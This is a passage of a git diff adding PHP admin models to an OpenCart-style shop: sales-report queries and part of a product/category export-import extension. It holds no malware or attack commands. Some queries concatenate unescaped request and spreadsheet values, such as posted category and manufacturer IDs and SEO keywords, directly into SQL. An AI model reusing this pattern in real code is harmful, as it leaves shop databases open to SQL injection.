+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCountry() {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id > '0' GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrdersByDay() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, COUNT(*) AS `orders`, SUM((SELECT SUM(op.quantity) FROM `" . DB_PREFIX . "order_product` op WHERE op.order_id = o.order_id GROUP BY op.order_id)) AS products, SUM((SELECT SUM(ot.value) FROM `" . DB_PREFIX . "order_total` ot WHERE ot.order_id = o.order_id AND ot.code = 'tax' GROUP BY ot.order_id)) AS tax, SUM(o.total) AS `total` FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added)";
+ break;
+ }
+
+ $sql .= " ORDER BY o.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTaxes($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (ot.order_id = o.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxes($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getShipping($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalShipping($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/export_import.php b/public/admin/model/extension/export_import.php
new file mode 100644
index 0000000..72dbc9d
--- /dev/null
+++ b/public/admin/model/extension/export_import.php
@@ -0,0 +1,9547 @@
+get('config');
+ $url = $registry->get('url');
+ $request = $registry->get('request');
+ $session = $registry->get('session');
+ $log = $registry->get('log');
+
+ if ($config->get('config_error_log')) {
+ $log->write('PHP ' . $errors . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+
+ if (($errors=='Warning') || ($errors=='Unknown')) {
+ return true;
+ }
+
+ $dir = version_compare(VERSION,'3.0','>=') ? 'extension' : 'tool';
+ if (($errors != "Fatal Error") && isset($request->get['route']) && ($request->get['route']!="$dir/export_import/download")) {
+ if ($config->get('config_error_display')) {
+ echo '' . $errors . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
+ }
+ } else {
+ $session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ $token = version_compare(VERSION,'3.0','>=') ? $request->get['user_token'] : $request->get['token'];
+ $link = $url->link( "$dir/export_import", version_compare(VERSION,'3.0','>=') ? 'user_token='.$token : 'token='.$token, true );
+ header('Status: ' . 302);
+ header('Location: ' . str_replace(array('&', "\n", "\r"), array('&', '', ''), $link));
+ exit();
+ }
+
+ return true;
+}
+
+
+function fatal_error_shutdown_handler_for_export_import()
+{
+ $last_error = error_get_last();
+ if (($last_error) && ($last_error['type'] === E_ERROR)) {
+ // fatal error
+ error_handler_for_export_import(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']);
+ }
+}
+
+
+class ModelToolExportImport extends Model {
+
+ private $error = array();
+ protected $null_array = array();
+ protected $use_table_seo_url = false;
+ protected $posted_categories = '';
+ protected $posted_manufacturers = '';
+ protected $version = '4.13';
+
+
+ public function __construct( $registry ) {
+ parent::__construct( $registry );
+ $this->use_table_seo_url = version_compare(VERSION,'3.0','>=') ? true : false;
+ }
+
+
+ protected function clean( &$str, $allowBlanks=false ) {
+ $result = "";
+ $n = strlen( $str );
+ for ($m=0; $m<$n; $m++) {
+ $ch = substr( $str, $m, 1 );
+ if (($ch==" ") && (!$allowBlanks) || ($ch=="\n") || ($ch=="\r") || ($ch=="\t") || ($ch=="\0") || ($ch=="\x0B")) {
+ continue;
+ }
+ $result .= $ch;
+ }
+ return $result;
+ }
+
+
+ protected function multiquery( $sql ) {
+ foreach (explode(";\n", $sql) as $sql) {
+ $sql = trim($sql);
+ if ($sql) {
+ $this->db->query($sql);
+ }
+ }
+ }
+
+
+ protected function startsWith( $haystack, $needle ) {
+ if (strlen( $haystack ) < strlen( $needle )) {
+ return false;
+ }
+ return (substr( $haystack, 0, strlen($needle) ) == $needle);
+ }
+
+ protected function endsWith( $haystack, $needle ) {
+ if (strlen( $haystack ) < strlen( $needle )) {
+ return false;
+ }
+ return (substr( $haystack, strlen($haystack)-strlen($needle), strlen($needle) ) == $needle);
+ }
+
+
+ protected function getDefaultLanguageId() {
+ $code = $this->config->get('config_language');
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = '$code'";
+ $result = $this->db->query( $sql );
+ $language_id = 1;
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $language_id = $row['language_id'];
+ break;
+ }
+ }
+ return $language_id;
+ }
+
+
+ protected function getLanguages() {
+ $query = $this->db->query( "SELECT * FROM `".DB_PREFIX."language` WHERE `status`=1 ORDER BY `code`" );
+ return $query->rows;
+ }
+
+
+ protected function getDefaultWeightUnit() {
+ $weight_class_id = $this->config->get( 'config_weight_class_id' );
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT unit FROM `".DB_PREFIX."weight_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = 'en'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ $language_id = $query->row['language_id'];
+ $sql = "SELECT unit FROM `".DB_PREFIX."weight_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ }
+ return 'kg';
+ }
+
+
+ protected function getDefaultMeasurementUnit() {
+ $length_class_id = $this->config->get( 'config_length_class_id' );
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT unit FROM `".DB_PREFIX."length_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = 'en'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ $language_id = $query->row['language_id'];
+ $sql = "SELECT unit FROM `".DB_PREFIX."length_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ }
+ return 'cm';
+ }
+
+
+ protected function getManufacturers() {
+ // find all manufacturers already stored in the database
+ $manufacturer_ids = array();
+ $sql = "SELECT ms.manufacturer_id, ms.store_id, m.`name` FROM `".DB_PREFIX."manufacturer_to_store` ms ";
+ $sql .= "INNER JOIN `".DB_PREFIX."manufacturer` m ON m.manufacturer_id=ms.manufacturer_id";
+ $result = $this->db->query( $sql );
+ $manufacturers = array();
+ foreach ($result->rows as $row) {
+ $manufacturer_id = $row['manufacturer_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($manufacturers[$name])) {
+ $manufacturers[$name] = array();
+ }
+ if (!isset($manufacturers[$name]['manufacturer_id'])) {
+ $manufacturers[$name]['manufacturer_id'] = $manufacturer_id;
+ }
+ if (!isset($manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'] = array();
+ }
+ if (!in_array($store_id,$manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'][] = $store_id;
+ }
+ }
+ return $manufacturers;
+ }
+
+
+ protected function storeManufacturerIntoDatabase( &$manufacturers, $name, &$store_ids, &$available_store_ids ) {
+ foreach ($store_ids as $store_id) {
+ if (!in_array( $store_id, $available_store_ids )) {
+ continue;
+ }
+ if (!isset($manufacturers[$name]['manufacturer_id'])) {
+ $this->db->query("INSERT INTO ".DB_PREFIX."manufacturer SET name = '".$this->db->escape($name)."', image='', sort_order = '0'");
+ $manufacturer_id = $this->db->getLastId();
+ if (!isset($manufacturers[$name])) {
+ $manufacturers[$name] = array();
+ }
+ $manufacturers[$name]['manufacturer_id'] = $manufacturer_id;
+ }
+ if (!isset($manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'] = array();
+ }
+ if (!in_array($store_id,$manufacturers[$name]['store_ids'])) {
+ $manufacturer_id = $manufacturers[$name]['manufacturer_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."manufacturer_to_store` SET manufacturer_id='".(int)$manufacturer_id."', store_id='".(int)$store_id."'";
+ $this->db->query( $sql );
+ $manufacturers[$name]['store_ids'][] = $store_id;
+ }
+ }
+ }
+
+
+ protected function getWeightClassIds() {
+ // find the default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // find all weight classes already stored in the database
+ $weight_class_ids = array();
+ $sql = "SELECT `weight_class_id`, `unit` FROM `".DB_PREFIX."weight_class_description` WHERE `language_id`=$language_id;";
+ $result = $this->db->query( $sql );
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $weight_class_id = $row['weight_class_id'];
+ $unit = $row['unit'];
+ if (!isset($weight_class_ids[$unit])) {
+ $weight_class_ids[$unit] = $weight_class_id;
+ }
+ }
+ }
+
+ return $weight_class_ids;
+ }
+
+
+ protected function getLengthClassIds() {
+ // find the default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // find all length classes already stored in the database
+ $length_class_ids = array();
+ $sql = "SELECT `length_class_id`, `unit` FROM `".DB_PREFIX."length_class_description` WHERE `language_id`=$language_id;";
+ $result = $this->db->query( $sql );
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $length_class_id = $row['length_class_id'];
+ $unit = $row['unit'];
+ if (!isset($length_class_ids[$unit])) {
+ $length_class_ids[$unit] = $length_class_id;
+ }
+ }
+ }
+
+ return $length_class_ids;
+ }
+
+
+ protected function getLayoutIds() {
+ $result = $this->db->query( "SELECT * FROM `".DB_PREFIX."layout`" );
+ $layout_ids = array();
+ foreach ($result->rows as $row) {
+ $layout_ids[$row['name']] = $row['layout_id'];
+ }
+ return $layout_ids;
+ }
+
+
+ protected function getAvailableStoreIds() {
+ $sql = "SELECT store_id FROM `".DB_PREFIX."store`;";
+ $result = $this->db->query( $sql );
+ $store_ids = array(0);
+ foreach ($result->rows as $row) {
+ if (!in_array((int)$row['store_id'],$store_ids)) {
+ $store_ids[] = (int)$row['store_id'];
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getAvailableProductIds(&$data) {
+ $available_product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $available_product_ids[$product_id] = $product_id;
+ }
+ return $available_product_ids;
+ }
+
+
+ protected function getAvailableCategoryIds() {
+ $sql = "SELECT `category_id` FROM `".DB_PREFIX."category`;";
+ $result = $this->db->query( $sql );
+ $category_ids = array();
+ foreach ($result->rows as $row) {
+ $category_ids[$row['category_id']] = $row['category_id'];
+ }
+ return $category_ids;
+ }
+
+
+ protected function getCustomerGroupIds() {
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."customer_group_description\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `customer_group_id`, `name` FROM `".DB_PREFIX."customer_group_description` ";
+ $sql .= "WHERE language_id=$language_id ";
+ $sql .= "ORDER BY `customer_group_id` ASC";
+ $query = $this->db->query( $sql );
+ } else {
+ $sql = "SELECT `customer_group_id`, `name` FROM `".DB_PREFIX."customer_group` ";
+ $sql .= "ORDER BY `customer_group_id` ASC";
+ $query = $this->db->query( $sql );
+ }
+ $customer_group_ids = array();
+ foreach ($query->rows as $row) {
+ $customer_group_id = $row['customer_group_id'];
+ $name = $row['name'];
+ $customer_group_ids[$name] = $customer_group_id;
+ }
+ return $customer_group_ids;
+ }
+
+
+ protected function getPostedCategories() {
+ $posted_categories = '';
+ if (isset($this->request->post['categories'])) {
+ if (count($this->request->post['categories']) > 0) {
+ foreach ($this->request->post['categories'] as $category_id) {
+ $posted_categories .= ($posted_categories=='') ? '(' : ',';
+ $posted_categories .= $category_id;
+ }
+ $posted_categories .= ')';
+ }
+ }
+ return $posted_categories;
+ }
+
+
+ protected function getPostedManufacturers() {
+ $posted_manufacturers = '';
+ if (isset($this->request->post['manufacturers'])) {
+ if (count($this->request->post['manufacturers']) > 0) {
+ foreach ($this->request->post['manufacturers'] as $manufacturer_id) {
+ $posted_manufacturers .= ($posted_manufacturers=='') ? '(' : ',';
+ $posted_manufacturers .= $manufacturer_id;
+ }
+ $posted_manufacturers .= ')';
+ }
+ }
+ return $posted_manufacturers;
+ }
+
+
+ protected function getCategoryUrlAliasIds() {
+ $sql = "SELECT url_alias_id, SUBSTRING( query, CHAR_LENGTH('category_id=')+1 ) AS category_id ";
+ $sql .= "FROM `".DB_PREFIX."url_alias` ";
+ $sql .= "WHERE query LIKE 'category_id=%'";
+ $query = $this->db->query( $sql );
+ $url_alias_ids = array();
+ foreach ($query->rows as $row) {
+ $url_alias_id = $row['url_alias_id'];
+ $category_id = $row['category_id'];
+ $url_alias_ids[$category_id] = $url_alias_id;
+ }
+ return $url_alias_ids;
+ }
+
+
+ protected function storeCategoryIntoDatabase( &$category, &$languages, $exist_meta_title, &$layout_ids, &$available_store_ids, &$url_alias_ids ) {
+ // extract the category details
+ $category_id = $category['category_id'];
+ $image_name = $this->db->escape($category['image']);
+ $parent_id = $category['parent_id'];
+ $top = $category['top'];
+ $top = ((strtoupper($top)=="TRUE") || (strtoupper($top)=="YES") || (strtoupper($top)=="ENABLED")) ? 1 : 0;
+ $columns = $category['columns'];
+ $sort_order = $category['sort_order'];
+ $date_added = $category['date_added'];
+ $date_modified = $category['date_modified'];
+ $names = $category['names'];
+ $descriptions = $category['descriptions'];
+ if ($exist_meta_title) {
+ $meta_titles = $category['meta_titles'];
+ }
+ $meta_descriptions = $category['meta_descriptions'];
+ $meta_keywords = $category['meta_keywords'];
+ if (!$this->use_table_seo_url) {
+ $seo_keyword = $category['seo_keyword'];
+ }
+ $store_ids = $category['store_ids'];
+ $layout = $category['layout'];
+ $status = $category['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+
+ // generate and execute SQL for inserting the category
+ $sql = "INSERT INTO `".DB_PREFIX."category` (`category_id`, `image`, `parent_id`, `top`, `column`, `sort_order`, `date_added`, `date_modified`, `status`) VALUES ";
+ $sql .= "( $category_id, '$image_name', $parent_id, $top, $columns, $sort_order, ";
+ $sql .= ($date_added=='NOW()') ? "$date_added," : "'$date_added',";
+ $sql .= ($date_modified=='NOW()') ? "$date_modified," : "'$date_modified',";
+ $sql .= " $status);";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $description = isset($descriptions[$language_code]) ? $this->db->escape($descriptions[$language_code]) : '';
+ if ($exist_meta_title) {
+ $meta_title = isset($meta_titles[$language_code]) ? $this->db->escape($meta_titles[$language_code]) : '';
+ }
+ $meta_description = isset($meta_descriptions[$language_code]) ? $this->db->escape($meta_descriptions[$language_code]) : '';
+ $meta_keyword = isset($meta_keywords[$language_code]) ? $this->db->escape($meta_keywords[$language_code]) : '';
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $category_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."category_description` (`category_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $category_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword' );";
+ }
+ $this->db->query( $sql );
+ }
+ if (!$this->use_table_seo_url) {
+ if ($seo_keyword) {
+ if (isset($url_alias_ids[$category_id])) {
+ $url_alias_id = $url_alias_ids[$category_id];
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`url_alias_id`,`query`,`keyword`) VALUES ($url_alias_id,'category_id=$category_id','$seo_keyword');";
+ unset($url_alias_ids[$category_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`query`,`keyword`) VALUES ('category_id=$category_id','$seo_keyword');";
+ }
+ $this->db->query($sql);
+ }
+ }
+ foreach ($store_ids as $store_id) {
+ if (in_array((int)$store_id,$available_store_ids)) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_to_store` (`category_id`,`store_id`) VALUES ($category_id,$store_id);";
+ $this->db->query($sql);
+ }
+ }
+ $layouts = array();
+ foreach ($layout as $layout_part) {
+ $next_layout = explode(':',$layout_part);
+ if ($next_layout===false) {
+ $next_layout = array( 0, $layout_part );
